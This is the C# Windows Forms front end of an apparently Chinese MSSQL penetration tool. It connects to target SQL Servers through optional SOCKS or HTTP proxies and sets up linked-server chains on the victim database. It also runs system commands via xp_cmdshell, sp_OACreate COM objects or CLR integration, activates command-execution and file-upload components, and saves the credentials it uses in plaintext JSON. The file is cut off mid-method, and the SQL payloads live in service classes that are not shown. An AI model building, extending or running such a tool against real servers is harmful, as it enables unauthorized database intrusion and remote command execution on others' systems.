﻿using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Data.SqlClient;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Http.Headers;
using System.Text;
using System.Text.Json;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Xml.Linq;
using static System.Windows.Forms.LinkLabel;
using static System.Windows.Forms.VisualStyles.VisualStyleElement.Button;

namespace 天离安全_Mssql渗透系统
{
    public partial class Form1 : Form
    {
        private SqlConnection _connection;
        private Stack<string> pathStack = new Stack<string>();
        public Form1()
        {
            InitializeComponent();
            Control.CheckForIllegalCrossThreadCalls = false;
            StartPosition = FormStartPosition.CenterScreen;

            // 初始化连接
            _connection = Api.T_Mssql_Excel.Connection;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            // tabPage3.Enabled = false; // 禁用 tabPage3

            checkBox2.Checked = true;
            checkBox3.Enabled = false;
            checkBox4.Enabled = false;
            checkBox5.Enabled = false;

            checkBox7.Checked = true;
            checkBox8.Checked = true;
            checkBox6.Checked = false;
            checkBox9.Checked = false;
            checkBox10.Checked = false;
            checkBox11.Checked = false;
            checkBox12.Checked = false;
            textBox19.Enabled = false;
            // 加载链服务列表
            LoadConfigToListView();
            // 读取配置
            LoadConfigToComboBox();
        }
        /// <summary>
        /// 连接主体数据库
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>

        private void button1_Click(object sender, EventArgs e)
        {
            richTextBox1.Clear();
            // 连接数据库的IP地址
            Api.T_Client_Mssql_Api.Sip = textBox1.Text;
            // 数据库端口
            Api.T_Client_Mssql_Api.Sport = textBox3.Text;
            // 数据库用户
            Api.T_Client_Mssql_Api.Suser = textBox2.Text;
            // 数据库密码
            Api.T_Client_Mssql_Api.Spass = textBox4.Text;
            // 数据库
            Api.T_Client_Mssql_Api.Smaster = textBox5.Text;
            if(checkBox1.Checked == true)
            {
                // 使用代理
                if(checkBox3.Checked == true)
                {
                    // 使用socks4 代理
                    Thread sk4 = new Thread(Socks4Run);
                    sk4.IsBackground = true;
                    sk4.Start();

                }
                else if(checkBox4.Checked == true)
                {
                    // 使用socks5 代理
                    Thread sk5 = new Thread(Socks5Run);
                    sk5.IsBackground = true;
                    sk5.Start();
                        
                }
                else if(checkBox5.Checked == true)
                {
                    // 使用http代理
                    Thread http = new Thread(HttpRun);
                    http.IsBackground = true;
                    http.Start();

                }
            }
            else if(checkBox2.Checked == true)
            {
                // 不使用代理
                Thread client = new Thread(Client_Mssql);
                client.IsBackground = true;
                client.Start();
                
            }
        }
        public async void Socks5Run()
        {
            // 使用socks5 代理
            Services.T_Proxy.JsonNode_Socks5(Api.T_Client_Mssql_Api.C1);

            richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在创建socks5代理" + "\r\n";

            // 先测试代理是否连接成功

            Services.T_Client_Mssql.TestSocks5(Api.T_Client_Mssql_Api.C1);

            string[] dataArr = Api.T_Client_Mssql_Api.C_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data in dataArr)
            {
                if (data.Contains("代理连接成功"))
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "代理连接成功" + "\r\n";

                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在连接数据库..." + "\r\n";

                    // 通过代理执行
                    Services.T_Client_Mssql.M_Client_Proxy_Socks5(Api.T_Client_Mssql_Api.C1);

                    string[] dataArr1 = Api.T_Client_Mssql_Api.C_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                    foreach (var data1 in dataArr1)
                    {
                        if (data1.Contains("数据库连接成功"))
                        {
                            richTextBox11.Text += data1 + "\r\n";
                            toolStripStatusLabel4.Text = "已连接";
                            toolStripStatusLabel6.Text = textBox1.Text;
                        }
                        else
                        {
                            // 连接数据库失败的情况
                            richTextBox11.Text += data1 + "\r\n";
                        }
                    }
                }
                else
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "代理无法连接，终止数据库连接" + "\r\n";
                    return;
                }
            }
            System.Threading.Thread.Sleep(1000);
            richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在检查是否存在链服务" + "\r\n";
            await Services.T_Client_Mssql.M_Client_Mssql_Linkde(Api.T_Mssql_Excel.Connection);
            string[] data4 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data1 in data4)
            {
                if (data1.Contains("TlSec"))
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "存在名称链：TLSec 的服务器" + "\r\n";
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "因存在链服务，请直接使用链服务模块，或在主体模块删除链服务" + "\r\n";

                    toolStripStatusLabel8.Text = "已连接";
                    toolStripStatusLabel10.Text = textBox6.Text;
                    button2.Enabled = false;
                }
                else
                {
                    // 连接数据库失败的情况
                    richTextBox11.Text += data1 + "\r\n";
                }
            }
        }
        public async void Socks4Run()
        {
            // 使用socks5 代理
            Services.T_Proxy.JsonNode_Socks4(Api.T_Client_Mssql_Api.C1);

            richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在创建socks4代理" + "\r\n";

            // 先测试代理是否连接成功

            Services.T_Client_Mssql.TestSocks4(Api.T_Client_Mssql_Api.C1);

            string[] dataArr = Api.T_Client_Mssql_Api.C_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data in dataArr)
            {
                if (data.Contains("代理连接成功"))
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "代理连接成功" + "\r\n";

                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在连接数据库..." + "\r\n";

                    // 通过代理执行
                    Services.T_Client_Mssql.M_Client_Proxy_Socks4(Api.T_Client_Mssql_Api.C1);

                    string[] dataArr1 = Api.T_Client_Mssql_Api.C_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                    foreach (var data1 in dataArr1)
                    {
                        if (data1.Contains("数据库连接成功"))
                        {
                            richTextBox11.Text += data1 + "\r\n";
                            toolStripStatusLabel4.Text = "已连接";
                            toolStripStatusLabel6.Text = textBox1.Text;
                        }
                        else
                        {
                            // 连接数据库失败的情况
                            richTextBox11.Text += data1 + "\r\n";
                        }
                    }
                }
                else
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "代理无法连接，终止数据库连接" + "\r\n";
                    return;
                }
            }
            System.Threading.Thread.Sleep(1000);
            richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在检查是否存在链服务" + "\r\n";
            await Services.T_Client_Mssql.M_Client_Mssql_Linkde(Api.T_Mssql_Excel.Connection);
            string[] data5 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data in data5)
            {
                if (data.Contains("TlSec"))
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "存在名称链：TLSec 的服务器" + "\r\n";
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "因存在链服务，请直接使用链服务模块，或在主体模块删除链服务" + "\r\n";

                    toolStripStatusLabel8.Text = "已连接";
                    toolStripStatusLabel10.Text = textBox6.Text;
                    button2.Enabled = false;
                }
                else
                {
                    // 连接数据库失败的情况
                    richTextBox11.Text += data + "\r\n";
                }
            }
        }
        public async void HttpRun()
        {
            // 使用socks5 代理
            Services.T_Proxy.JsonNode_Http(Api.T_Client_Mssql_Api.C1);

            richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在创建http代理" + "\r\n";

            // 先测试代理是否连接成功

            Services.T_Client_Mssql.TestHttp(Api.T_Client_Mssql_Api.C1);

            string[] dataArr = Api.T_Client_Mssql_Api.C_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data in dataArr)
            {
                if (data.Contains("代理连接成功"))
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "代理连接成功" + "\r\n";

                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在连接数据库..." + "\r\n";

                    // 通过代理执行
                    Services.T_Client_Mssql.M_Client_Proxy_Http(Api.T_Client_Mssql_Api.C1);

                    string[] dataArr1 = Api.T_Client_Mssql_Api.C_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                    foreach (var data1 in dataArr1)
                    {
                        if (data1.Contains("数据库连接成功"))
                        {
                            richTextBox11.Text += data1 + "\r\n";
                            toolStripStatusLabel4.Text = "已连接";
                            toolStripStatusLabel6.Text = textBox1.Text;
                        }
                        else
                        {
                            // 连接数据库失败的情况
                            richTextBox11.Text += data1 + "\r\n";
                        }
                    }
                }
                else
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "代理无法连接，终止数据库连接" + "\r\n";
                    return;
                }
            }
            System.Threading.Thread.Sleep(1000);
            richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在检查是否存在链服务" + "\r\n";
            await Services.T_Client_Mssql.M_Client_Mssql_Linkde(Api.T_Mssql_Excel.Connection);
            string[] data5 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data3 in data5)
            {
                if (data3.Contains("TlSec"))
                {
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "存在名称链：TLSec 的服务器" + "\r\n";
                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "因存在链服务，请直接使用链服务模块，或在主体模块删除链服务" + "\r\n";

                    toolStripStatusLabel8.Text = "已连接";
                    toolStripStatusLabel10.Text = textBox6.Text;
                    button2.Enabled = false;
                }
                else
                {
                    // 连接数据库失败的情况
                    richTextBox11.Text += data3 + "\r\n";
                }
            }
        }
        /// <summary>
        /// 直接连接数据库，不使用代理
        /// </summary>
        public void Client_Mssql()
        {

            richTextBox11.Text += DateTime.Now.ToString() + "：" + "数据库正在进行直接连接" + "\r\n";

            Services.T_Client_Mssql.M_Client_Mssql(Api.T_Client_Mssql_Api.C1);

            string[] dataArr1 = Api.T_Client_Mssql_Api.C_Status.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data1 in dataArr1)
            {
                if (data1.Contains("数据库连接成功"))
                {
                    richTextBox11.Text += data1 + "\r\n";
                    toolStripStatusLabel4.Text = "已连接";
                    toolStripStatusLabel6.Text = textBox1.Text;
                }
                else
                {
                    // 连接数据库失败的情况
                    richTextBox11.Text += data1 + "\r\n";
                }
            }
            // 检查链接服务器状态
            //System.Threading.Thread.Sleep(1000);
            //richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在检查是否存在链服务" + "\r\n";
            //await Services.T_Client_Mssql.M_Client_Mssql_Linkde(Api.T_Mssql_Excel.Connection);
            //string[] data = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            //foreach (var data1 in data)
            //{
            //    if (data1.Contains("TlSec"))
            //    {
            //        richTextBox11.Text += DateTime.Now.ToString() + "：" + "存在名称链：TLSec 的服务器" + "\r\n";
            //        richTextBox11.Text += DateTime.Now.ToString() + "：" + "因存在链服务，请直接使用链服务模块，或在主体模块删除链服务" + "\r\n";

            //        toolStripStatusLabel8.Text = "已连接";
            //        toolStripStatusLabel10.Text = textBox6.Text;
            //        button2.Enabled = false;
            //    }
            //    else
            //    {
            //        // 连接数据库失败的情况
            //        richTextBox11.Text += data1 + "\r\n";
            //    }
            //}

        }
        private void sOCKS代理ToolStripMenuItem_Click(object sender, EventArgs e)
        {
            Proxy pro = new Proxy();
            pro.StartPosition = FormStartPosition.CenterScreen;
            pro.ShowDialog();
        }
        /// <summary>
        /// 连接链服务数据库
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button2_Click(object sender, EventArgs e)
        {
            //Test();

            //return;
            if (string.IsNullOrEmpty(textBox6.Text) || string.IsNullOrEmpty(textBox7.Text) || string.IsNullOrEmpty(textBox8.Text) || string.IsNullOrEmpty(textBox9.Text) || string.IsNullOrEmpty(textBox10.Text))
            {
                MessageBox.Show("数据不能为空");
            }
            else
            {
                // 先判断主体数据库是否连接
                if (string.IsNullOrEmpty(textBox1.Text) || string.IsNullOrEmpty(textBox2.Text) || string.IsNullOrEmpty(textBox3.Text) || string.IsNullOrEmpty(textBox4.Text) || string.IsNullOrEmpty(textBox5.Text))
                {
                    MessageBox.Show("主体数据库连接为空，请先连接主体数据库！");
                }
                else
                {
                    try
                    {
                        // 判断主体服务器是否处于打开的状态
                        if (Api.T_Mssql_Excel.Connection.State == ConnectionState.Open)
                        {
                            // 第一：先配置服务
                            string ip = textBox6.Text;// IP地址
                            string name = textBox21.Text;// 链服务名称
                            string port = textBox8.Text; // 端口
                            string user = textBox7.Text; // 连接的账号
                            string password = textBox9.Text;// 连接的密码
                            string note = textBox22.Text;// 链服务的备注
                            string sql = textBox10.Text;// 链数据库的名称

                            if(string.IsNullOrEmpty(textBox6.Text) || string.IsNullOrEmpty(textBox21.Text) || string.IsNullOrEmpty(textBox8.Text) || string.IsNullOrEmpty(textBox7.Text) || string.IsNullOrEmpty(textBox9.Text) || string.IsNullOrEmpty(textBox22.Text) || string.IsNullOrEmpty(textBox10.Text))
                            {
                                MessageBox.Show("链服务数据不能为空！");
                            }

                            // 第二： 检查所有存在的链服务

                            await Services.T_Chain_Sql_ClientService.Z_Sql_Client_Test(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime1);

                            // 第三：检查是否与链服务名称冲突
                            Api.T_Chain_Sql_Client_Api.Chain_Name = textBox21.Text; // 将链服务名称传出
                            await Services.T_Chain_Sql_ClientService.Z_Sql_Client_Testcq(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime1);

                            Api.T_Chain_Sql_Client_Api.Chain_UserName = textBox7.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_PassWord = textBox9.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_Port = textBox8.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_Ip = textBox6.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_DataBase = textBox10.Text;

                            // 第四：如果不存在链服务，那么就在对方执行创建链服务
                            if (Api.T_Chain_Sql_Client_Api.Client_Status == "false")
                            {
                                await Services.T_Chain_Sql_ClientService.Z_Sql_Client(Api.T_Mssql_Excel.Connection, UpdateStatusRealTime1);// 将在主体数据库中创建链服务
                                Console.WriteLine("新的链服务创建成功");
                                // 向本地写入一个配置文件
                                try
                                {
                                    string configPath = Path.Combine(Application.StartupPath, "ChainServerConfig.json");
                                    List<Dictionary<string, object>> configList = new List<Dictionary<string, object>>();

                                    // 如果文件存在，读取现有配置
                                    if (File.Exists(configPath))
                                    {
                                        string existingJson = File.ReadAllText(configPath);
                                        configList = JsonSerializer.Deserialize<List<Dictionary<string, object>>>(existingJson)
                                                   ?? new List<Dictionary<string, object>>();
                                    }

                                    // 生成新ID（现有最大ID + 1，如果没有则为1）
                                    int newId = 1;
                                    if (configList.Count > 0)
                                    {
                                        foreach (var item in configList)
                                        {
                                            if (item.ContainsKey("Id") && item["Id"] is JsonElement element)
                                            {
                                                int currentId = element.GetInt32();
                                                if (currentId >= newId) newId = currentId + 1;
                                            }
                                        }
                                    }

                                    // 创建新配置项
                                    var newConfig = new Dictionary<string, object>
                                    {
                                        ["Id"] = newId,
                                        ["IP"] = ip,
                                        ["Name"] = name,
                                        ["Port"] = port,
                                        ["User"] = user,
                                        ["Password"] = password,
                                        ["Note"] = note,
                                        ["Database"] = sql,
                                        ["CreateTime"] = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")
                                    };

                                    // 添加到列表
                                    configList.Add(newConfig);

                                    // 保存到文件
                                    var options = new JsonSerializerOptions { WriteIndented = true };
                                    string json = JsonSerializer.Serialize(configList, options);
                                    File.WriteAllText(configPath, json);

                                    MessageBox.Show($"链服务配置成功保存！", "成功", MessageBoxButtons.OK, MessageBoxIcon.Information);
                                    // 刷新配置
                                    LoadConfigToListView();
                                }
                                catch (Exception ex)
                                {
                                    MessageBox.Show($"保存配置失败: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                                }

                            }
                            else
                            {
                                MessageBox.Show("存在同名称的链服务，无法创建该服务");
                            }


                            return;

                            // 将链账号信息进行传出
                            Api.T_Chain_Sql_Client_Api.Chain_UserName = textBox7.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_PassWord = textBox9.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_Port = textBox8.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_Ip = textBox6.Text;
                            Api.T_Chain_Sql_Client_Api.Chain_DataBase = textBox10.Text;

                            // 如果主体服务器是被打开的状态，那么需要在主体创建链接服务器
                            richTextBox11.Text += DateTime.Now.ToString() + "：" + "主体数据库已经连接，正在创建链接服务器连接配置" + "\r\n";
                            // 去主体数据库中创建链
                            await Services.T_Chain_Sql_ClientService.Z_Sql_Client(Api.T_Mssql_Excel.Connection);
                            // 获取响应的数据
                            string[] dataArr1 = Api.T_Chain_Sql_Client_Api.Chain_Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                            foreach (var data1 in dataArr1)
                            {
                                richTextBox11.Text += data1 + "\r\n";
                            }

                            System.Threading.Thread.Sleep(2000);
                            richTextBox11.Text += DateTime.Now.ToString() + "：" + "正在测试链服务器连接" + "\r\n";

                            await Services.T_Chain_Sql_ClientService.Chain_Client_Services(Api.T_Mssql_Excel.Connection);
                            string[] dataArr2 = Api.T_Chain_Sql_Client_Api.Chain_Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                            foreach (var data2 in dataArr2)
                            {
                                // 如果存在异常进行抛出
                                if (data2.Contains("权限不足获取未开启命令执行组件"))
                                {
                                    // 就需要去链服务模块 开启命令执行
                                    richTextBox11.Text += DateTime.Now.ToString() + "：" + "错误" + "\r\n" + data2 + "\r\n";
                                }
                                else
                                {
                                    richTextBox11.Text += data2 + "\r\n";
                                    toolStripStatusLabel8.Text = "已连接";
                                    toolStripStatusLabel10.Text = textBox6.Text;
                                }
                            }
                        }
                        else
                        {
                            MessageBox.Show("当前主体服务器处于关闭状态，请连接主体服务器");
                        }
                    }
                    catch(Exception ex)
                    {
                        // 如果没有连接主体数据库就抛出异常
                        richTextBox11.Text += ex.ToString() + "\r\n";
                    }
                }
            }
        }
        public void Test()
        {

            // 第一：先配置服务
            string ip = textBox6.Text;// IP地址
            string name = textBox21.Text;// 链服务名称
            string port = textBox8.Text; // 端口
            string user = textBox7.Text; // 连接的账号
            string password = textBox9.Text;// 连接的密码
            string note = textBox22.Text;// 链服务的备注
            string sql = textBox10.Text;// 链数据库的名称

            try
            {
                string configPath = Path.Combine(Application.StartupPath, "ChainServerConfig.json");
                List<Dictionary<string, object>> configList = new List<Dictionary<string, object>>();

                // 如果文件存在，读取现有配置
                if (File.Exists(configPath))
                {
                    string existingJson = File.ReadAllText(configPath);
                    configList = JsonSerializer.Deserialize<List<Dictionary<string, object>>>(existingJson)
                               ?? new List<Dictionary<string, object>>();
                }

                // 生成新ID（现有最大ID + 1，如果没有则为1）
                int newId = 1;
                if (configList.Count > 0)
                {
                    foreach (var item in configList)
                    {
                        if (item.ContainsKey("Id") && item["Id"] is JsonElement element)
                        {
                            int currentId = element.GetInt32();
                            if (currentId >= newId) newId = currentId + 1;
                        }
                    }
                }

                // 创建新配置项
                var newConfig = new Dictionary<string, object>
                {
                    ["Id"] = newId,
                    ["IP"] = ip,
                    ["Name"] = name,
                    ["Port"] = port,
                    ["User"] = user,
                    ["Password"] = password,
                    ["Note"] = note,
                    ["Database"] = sql,
                    ["CreateTime"] = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss")
                };

                // 添加到列表
                configList.Add(newConfig);

                // 保存到文件
                var options = new JsonSerializerOptions { WriteIndented = true };
                string json = JsonSerializer.Serialize(configList, options);
                File.WriteAllText(configPath, json);

                MessageBox.Show($"链服务配置成功保存！", "成功", MessageBoxButtons.OK, MessageBoxIcon.Information);
                // 刷新配置
                LoadConfigToListView();
            }
            catch (Exception ex)
            {
                MessageBox.Show($"保存配置失败: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        public void LoadConfigToListView()
        {
            try
            {
                // 清空ListView
                listView3.Items.Clear();

                string configPath = Path.Combine(Application.StartupPath, "ChainServerConfig.json");

                // 检查文件是否存在
                if (!File.Exists(configPath))
                {
                    //MessageBox.Show("配置文件不存在！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    Console.WriteLine("本地配置文件不存在！");
                    return;
                }

                // 读取JSON文件
                string json = File.ReadAllText(configPath);
                var configList = JsonSerializer.Deserialize<List<Dictionary<string, object>>>(json);

                if (configList == null || configList.Count == 0)
                {
                    MessageBox.Show("配置文件为空！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    return;
                }

                // 添加到ListView
                foreach (var config in configList)
                {
                    ListViewItem item = new ListViewItem(GetStringValue(config, "Id"));
                    item.SubItems.Add(GetStringValue(config, "IP"));
                    item.SubItems.Add(GetStringValue(config, "Name"));
                    item.SubItems.Add(GetStringValue(config, "Port"));
                    item.SubItems.Add(GetStringValue(config, "User"));
                    item.SubItems.Add(GetStringValue(config, "Password"));
                    //item.SubItems.Add(GetStringValue(config, "Database"));
                    item.SubItems.Add(GetStringValue(config, "Note"));
                    //item.SubItems.Add(GetStringValue(config, "CreateTime"));

                    listView3.Items.Add(item);
                }

                //MessageBox.Show($"成功加载 {configList.Count} 条配置记录", "成功", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            catch (Exception ex)
            {
                MessageBox.Show($"读取配置文件失败: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }

        // 辅助方法：安全获取字符串值
        private static string GetStringValue(Dictionary<string, object> dict, string key)
        {
            if (dict.ContainsKey(key) && dict[key] != null)
            {
                return dict[key].ToString();
            }
            return string.Empty;
        }
        public static void DeleteSelectedConfig(ListView listView3)
        {
            try
            {
                // 更严格的选中检查
                if (listView3.SelectedItems.Count == 0 || listView3.SelectedItems[0] == null)
                {
                    MessageBox.Show("请先点击选择要删除的配置行！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                    return;
                }

                ListViewItem selectedItem = listView3.SelectedItems[0];

                // 确保有数据
                if (selectedItem.SubItems.Count == 0 || string.IsNullOrEmpty(selectedItem.Text))
                {
                    MessageBox.Show("选中的行数据无效！", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }

                string selectedId = selectedItem.Text;
                string serverName = selectedItem.SubItems.Count > 2 ? selectedItem.SubItems[2].Text : "未知";

                // 确认对话框
                DialogResult result = MessageBox.Show(
                    $"确定要删除链服务 '{serverName}' 吗？",
                    "确认删除",
                    MessageBoxButtons.YesNo,
                    MessageBoxIcon.Question);

                if (result != DialogResult.Yes) return;

                string configPath = Path.Combine(Application.StartupPath, "ChainServerConfig.json");

                if (!File.Exists(configPath))
                {
                    MessageBox.Show("配置文件不存在！", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return;
                }

                // 读取和删除配置
                string json = File.ReadAllText(configPath);
                var configList = JsonSerializer.Deserialize<List<Dictionary<string, object>>>(json);

                if (configList == null || configList.Count == 0)
                {
                    MessageBox.Show("配置文件为空！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Information);
                    return;
                }

                // 删除配置
                int originalCount = configList.Count;
                configList.RemoveAll(config =>
                    config.ContainsKey("Id") && config["Id"]?.ToString() == selectedId);

                if (configList.Count == originalCount)
                {
                    MessageBox.Show("未找到对应的配置记录！", "提示", MessageBoxButtons.OK, MessageBoxIcon.Warning);
                    return;
                }

                // 保存配置
                var options = new JsonSerializerOptions { WriteIndented = true };
                string updatedJson = JsonSerializer.Serialize(configList, options);
                File.WriteAllText(configPath, updatedJson);

                // 从ListView移除
                listView3.Items.Remove(selectedItem);

                MessageBox.Show("配置删除成功！", "成功", MessageBoxButtons.OK, MessageBoxIcon.Information);
            }
            catch (Exception ex)
            {
                MessageBox.Show($"删除配置失败: {ex.Message}", "错误", MessageBoxButtons.OK, MessageBoxIcon.Error);
            }
        }
        private void checkBox1_CheckedChanged(object sender, EventArgs e)
        {
            if(checkBox1.Checked == true)
            {
                checkBox2.Checked = false;

                checkBox3.Enabled = true;
                checkBox4.Enabled = true;
                checkBox5.Enabled = true;
            }
        }

        private void checkBox2_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox2.Checked == true)
            {
                checkBox1.Checked = false;

                checkBox3.Enabled = false;
                checkBox4.Enabled = false;
                checkBox5.Enabled = false;
            }
        }

        private void checkBox3_CheckedChanged(object sender, EventArgs e)
        {
            if(checkBox3.Checked == true)
            {
                checkBox4.Checked= false;
                checkBox5.Checked= false;
            }
        }

        private void checkBox4_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox4.Checked == true)
            {
                checkBox3.Checked = false;
                checkBox5.Checked = false;
            }
        }

        private void checkBox5_CheckedChanged(object sender, EventArgs e)
        {
            if (checkBox5.Checked == true)
            {
                checkBox4.Checked = false;
                checkBox3.Checked = false;
            }
        }
        /// <summary>
        /// 执行主体的sql命令
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button9_Click(object sender, EventArgs e)
        {
            richTextBox2.Clear();

            Api.T_Mssql_Excel.Esql = comboBox2.Text;


            // 执行sql
            Services.T_Client_Mssql.ExecuteSqlCommand(Api.T_Mssql_Excel.Connection,Api.T_Mssql_Excel.E1);

            string[] dataArr1 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data1 in dataArr1)
            {
                richTextBox2.Text += data1 + "\r\n";
            }
        }
        /// <summary>
        /// 清空数据
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>

        private void button26_Click(object sender, EventArgs e)
        {
            richTextBox2.Clear();
        }
        /// <summary>
        /// 清空数据
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private void button25_Click(object sender, EventArgs e)
        {
            richTextBox2.Clear();
        }
        /// <summary>
        /// 执行系统命令
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>

        private async void button8_Click(object sender, EventArgs e)
        {
            if (comboBox3.Text == "Xp_CmdShell")
            {
                // 创建线程来执行 否则返回的数据过多会导致页面卡顿
                richTextBox1.Clear();

                Api.T_Mssql_Excel.Esql = comboBox1.Text;


                // 执行sql
                await Services.T_Client_Mssql.ExecuteSqlCommandSystem(Api.T_Mssql_Excel.Connection);

                string[] dataArr1 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                foreach (var data1 in dataArr1)
                {
                    richTextBox1.Text += data1 + "\r\n";
                }
            }
            else if(comboBox3.Text == "Sp_OACreate（COM对象）")
            {
                // 创建线程来执行 否则返回的数据过多会导致页面卡顿
                richTextBox1.Clear();

                Api.T_Mssql_Excel.Esql = comboBox1.Text;


                // 执行sql
                await Services.T_Client_Mssql.ExecuteSqlCommandSystem_Com(Api.T_Mssql_Excel.Connection);

                string[] dataArr1 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                foreach (var data1 in dataArr1)
                {
                    richTextBox1.Text += data1 + "\r\n";
                }
            }
            else if (comboBox3.Text == "Sp_configure（CLR集成函数）")
            {
                // 创建线程来执行 否则返回的数据过多会导致页面卡顿
                richTextBox1.Clear();

                Api.T_Mssql_Excel.Esql = comboBox1.Text;


                // 执行sql
                await Services.T_Client_Mssql.ExecuteSqlCommandSystem_Clr(Api.T_Mssql_Excel.Connection);

                string[] dataArr1 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
                foreach (var data1 in dataArr1)
                {
                    richTextBox1.Text += data1 + "\r\n";
                }
            }
        }
        /// <summary>
        /// 激活所有命令执行组件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button10_Click(object sender, EventArgs e)
        {
            // 直接执行sql语句
            richTextBox3.Clear();

            richTextBox3.Text += DateTime.Now.ToString() + "：" + "正在获取命令执行组件" + "\r\n";

            // 执行sql
            await Services.T_Client_Mssql.Sql_Shell_Status(Api.T_Mssql_Excel.Connection);

            string[] dataArr1 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data1 in dataArr1)
            {
                richTextBox3.Text += data1 + "\r\n";
            }
            richTextBox3.Text += DateTime.Now.ToString() + "：" + "正在激活，请稍后......" + "\r\n";
            await Services.T_Client_Mssql.Sql_Shell_Activation(Api.T_Mssql_Excel.Connection);

            string[] dataArr2 = Api.T_Mssql_Excel.Info.ToString().Split(new[] { "\r\n" }, StringSplitOptions.RemoveEmptyEntries);
            foreach (var data in dataArr2)
            {
                richTextBox3.Text += data + "\r\n";
            }
        }
        /// <summary>
        /// 激活文件上传组件
        /// </summary>
        /// <param name="sender"></param>
        /// <param name="e"></param>
        private async void button11_Click(object sender, EventArgs e)
        {
            // 直接执行sql语句
            richTextBox3.Clear();

            richTextBox3.Text += DateTime.Now.ToString() + "：" + "正在获取文件上传组件状态" + "\r\n";

            // 执行sql
            await Services.T_Client_Mssql.Sql_Files_Activation_Status(Api.T_Mssql_Excel.Connection);

